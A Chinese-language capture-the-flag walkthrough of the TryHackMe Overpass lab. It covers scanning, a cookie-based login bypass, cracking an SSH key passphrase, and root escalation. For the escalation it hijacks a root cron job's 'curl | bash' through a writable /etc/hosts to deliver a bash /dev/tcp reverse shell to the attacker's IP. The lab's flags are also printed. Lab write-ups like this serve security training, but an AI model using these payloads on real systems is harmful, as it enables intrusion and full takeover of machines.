靶场介绍

当一群破产的计算机科学专业的学生尝试制作密码管理器时会发生什么？显然是一次完美的商业成功！

这个盒子上隐藏着一个 TryHackMe 订阅代码。第一个找到并激活它的人将获得一个月的免费订阅！如果您已经是订阅者，为什么不将代码提供给朋友呢？

更新：该代码现已声明。机器于 2020/09/25 稍作修改。这只是为了提高机器的性能。它不影响该过程。

靶场地址

信息收集

Nmap

┌──(root💀lucifiel)-[~]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.29.27
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-05 19:44 CST
Nmap scan report for 10.10.29.27
Host is up (0.15s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=5/5%OT=22%CT=1%CU=34521%PV=Y%DS=2%DC=T%G=Y%TM=6273B8D1
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11
OS:NW7%O6=M506ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(
OS:R=Y%DF=Y%T=40%W=F507%O=M506NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   151.63 ms 10.18.0.1
2   152.12 ms 10.10.29.27

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.80 seconds

HTTP

没什么有用的东西，去 FUZZ 一下

FUZZ

┌──(root💀kali)-[~/Desktop]
└─# gobuster dir -u http://10.10.29.27/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.29.27/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/05/05 07:54:43 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 0] [--> img/]
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]  
/admin                (Status: 301) [Size: 42] [--> /admin/]  
/css                  (Status: 301) [Size: 0] [--> css/]

有一个 /admin 目录，进去看一下

一个登陆页面，使用弱口令没有进去，看一下源代码

在页面 http://10.10.29.27/login.js 中找到了一句

Cookies.set("SessionToken",statusOrCookie)

同时在 http://10.10.29.27/main.js 还有一个内容

console.log("Hello, World!")

这里应该是 Cookie 设置绕过

漏洞利用

按 F12 打开控制台

这里也确实输出了 “Hello, World”

这里修改我们的 Payload

Cookies.set("SessionToken", "")

在控制台输入以后，刷新

直接绕过了登陆机制，拿到了用户 james 的 sshkey

将 sshkey 保存到 id_rsa 中，并给予权限

chmod 600 id_rsa

接着使用 ssh 进行登陆

┌──(root💀lucifiel)-[~/Desktop]
└─# ssh james@10.10.84.23 -i id_rsa
The authenticity of host '10.10.84.23 (10.10.84.23)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.84.23' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':

显示需要输入密码，去破解一下

┌──(root💀lucifiel)-[~/Desktop]
└─# ssh2john id_rsa > hash

┌──(root💀lucifiel)-[~/Desktop]
└─# cat hash
id_rsa:$sshng$1$16$9F85D92F34F42626F13A7493AB48F337$1200$2cdbb9c10041cfba4a67771ce135a5c4852e0ffa29262d435693dad3aa708871e17bc663c37feffb19e6b52dcefaa88d2479cb4bca14551e929a8b30e29a8b19c3f70302afaf30d6b70db270eee635d36ccf02e9deeb68ec435d4c86f3bc96a5ef7fde50df64605d2e6bdad90ba9b0a08da21bab1d94d2f866ab1863baebbc3c5e099264833406ce407dc0a830d658d3583cb2f2a9dc963ba03887fc42b1e8a37d06bfe74031f8a94d2478dc518167f1e16b88c3ca45173f43efb85c936d576f04c5e6af7c6e2a407a23a93f8cb8ea59c2eb84f592d2a449ef5f06feef1ca985f7a0998cd0ea378e0a17617c5ec0649900be5b2d0161649346a19f8de671ce965d4e065d6d9ac50847060aef04fff64bd488bdeb8640544615486e3daa887c51dcac264b80e6e003ada0f4c802657268a9825a8a5fea57b5fb0cd9fd4a6b3420207864e564a5ff8e8aee5bb649b8051f0016d12cbc0554f3206a1ac1a7abd17cd1024b1ced6c59973e8570bd6450f7c67ea7c3223a845e6fb25fbaccba1af66455f5b68299a402bf320d0ca752e92859ec4f7831d6892960d644492ab40fec60aea6f5bfaff61cd5198d4dfcd3e5e7913a450e4ccaa67772e3d3bc842f26af9411ebcf9149bf33ccdeb8a647012c97c187d75d43e0be6b00a55cbac745720f0ff4142e9166f35591db690b401951b2d05289bf55a103ea634cbab053e735e5617b10d6f70e6e6a754a124a53f3463cde79a3c6e4ee14f45ab465a60f90c972242cd1569e370dee0a2a4c8ee4543ec52c5c7b7156d1beb7fbc4448188ab386719e13040a58faecf7e095def2312586b295f71c3fef31b62e890a3279631b6605200a6bf7d9d915566cd5738508291c33c18585ea13e32170ad7854d5f8d08d6fdc47491b84ebfb45f579c7b2f7eb1dd9b827c17655a4b7f8763399e8c2371b6277b1c4eb8e76a75acd38eb5cec913723ad605f563cb84b4476a9040917cef352384441dd325c6bcc9d6cab326ac7421b20083d7e766e2a01943860f0398f0294750b5cd16304f52c414ab7b28a01aa206f0dc6e6b692cc1e78310a57e962fec24ea9effc0e5fa58ca35325905f793370bb7713c512ca4b1dfa41c5fdaacacf4ca81b1dd2b2e45e8611ea0a5b19b016e7c74f9b9d4c7a41c3f9678ff284d8188e0f5424bf585f94f741adcb452683223da9fc4c548bb505c98987387c81db53d229f42f3e69298fab2f175468003d295c05b1d8979d78c7104d54c270eaaabbe006ebd7e8dbb1fa17e05e2f41b32ebca93f0789429312cba472ffc86072b5b3e530fc7e405ad26c166590b376f0f98e22c3e60b66899703813bcb13d7c9f5a6e0ae05320de78347b8ffb1d160949a5cb40e29e37071ffcb5b9762a4eec39818d52ec0bc7b227cba37aeb4ffc6700e65eb3ca5aa294e823e3eca24bcd7790d4e30893b0291b178368ca6e745af1bedd491cfb6836552e9267132f5b867e9aed6b52e3d4f14e88b9dd9075e3ea2e8242f8b2f272618211b908eb52689ead701d99b605f708a68662df7a5acc7287ce1d15b6fa12f5907953b49654f198f663663785deb244d25c220083ae62db9fd0b933477b83487606515a24864e6034ba27a624d9c5a4fcc967efe3a1000a40bc304a54ceff2c647dfec54f71e128b3a1d37c15db9ac895f9ea05cd4b6e8edca6bfc53b

然后使用 john 进行爆破

┌──(root💀lucifiel)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash                                                                            1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13          (id_rsa)
1g 0:00:00:00 DONE (2022-05-05 20:27) 12.50g/s 167200p/s 167200c/s 167200C/s lisa..honolulu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

这里爆破出来了密码为 james13 去就进行连接

┌──(root💀lucifiel)-[~/Desktop]
└─# ssh james@10.10.84.23 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu May  5 12:32:51 UTC 2022

  System load:  0.09               Processes:           92
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.84.23
  Swap usage:   0%

47 packages can be updated.
0 updates are security updates.

Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ whoami&&id
james
uid=1001(james) gid=1001(james) groups=1001(james)

成功拿到 user 权限

james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt
thm{65c1aaf000506e56996822c6281e6bf7}

成功拿到 user 权限的 flag 文件

权限提升

james@overpass-prod:~$ cat todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

这有个 todo.txt 文件作为提示，不过我英语不好，也不确定说的啥，还是先跑个 LinPeas 看看吧

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

这里看到一个，root 会使用 curl 向 overpass.htm/downloads/src/buildscrit.sh 请求内容，然后使用 bash 执行

╔══════════╣ Hostname, hosts and DNS
overpass-prod
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

nameserver 127.0.0.53
options edns0
search eu-west-1.compute.internal

然后在这里可以看到 overpass.htm 是指向的 127.0.0.1

james@overpass-prod:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

这里可以看到，我们是有权限修改 /etc/hosts 的内容的

那提权思路就有了

首先创建指定的目录和脚本

mkdir -p downloads/src && vim downloads/src/buildscript.sh

然后写入我们的 payload

bash -c 'exec bash -i &>/dev/tcp/10.18.112.117/4444 <&1'

接着需要两个窗口

第一个窗口使用 nc 监听一个端口

nc -nvlp 4444

第二个窗口使用 python3 开启一个 http 服务

python3 -m http.server 80

然后去 shell 里修改 /etc/hosts 的内容

10.18.112.117 overpass.thm

把第三行改成这样，然后等着就行了

┌──(root💀kali)-[~/Desktop]
└─# python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.84.23 - - [05/May/2022 09:17:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -

成功下载了我们的 payload

┌──(root💀kali)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.18.112.117] from (UNKNOWN) [10.10.84.23] 43604
bash: cannot set terminal process group (16146): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# whoami&&id
whoami&&id                                                                                                                                    
root                                                                                                                                          
uid=0(root) gid=0(root) groups=0(root)

成功拿到了 root 权限

root@overpass-prod:~# ls                                                                                                                      
ls                                                                                                                                            
buildStatus                                                                                                                                   
builds                                                                                                                                        
downloads                                                                                                                                     
go                                                                                                                                            
root.txt                                                                                                                                      
src                                                                                                                                           
root@overpass-prod:~# cat root.txt                                                                                                            
cat root.txt                                                                                                                                  
thm{7f336f8c359dbac18d54fdd64ea753bb}

成功拿到了 root 权限的 flag 文件

Overpass - TryHackMe

2022-05-05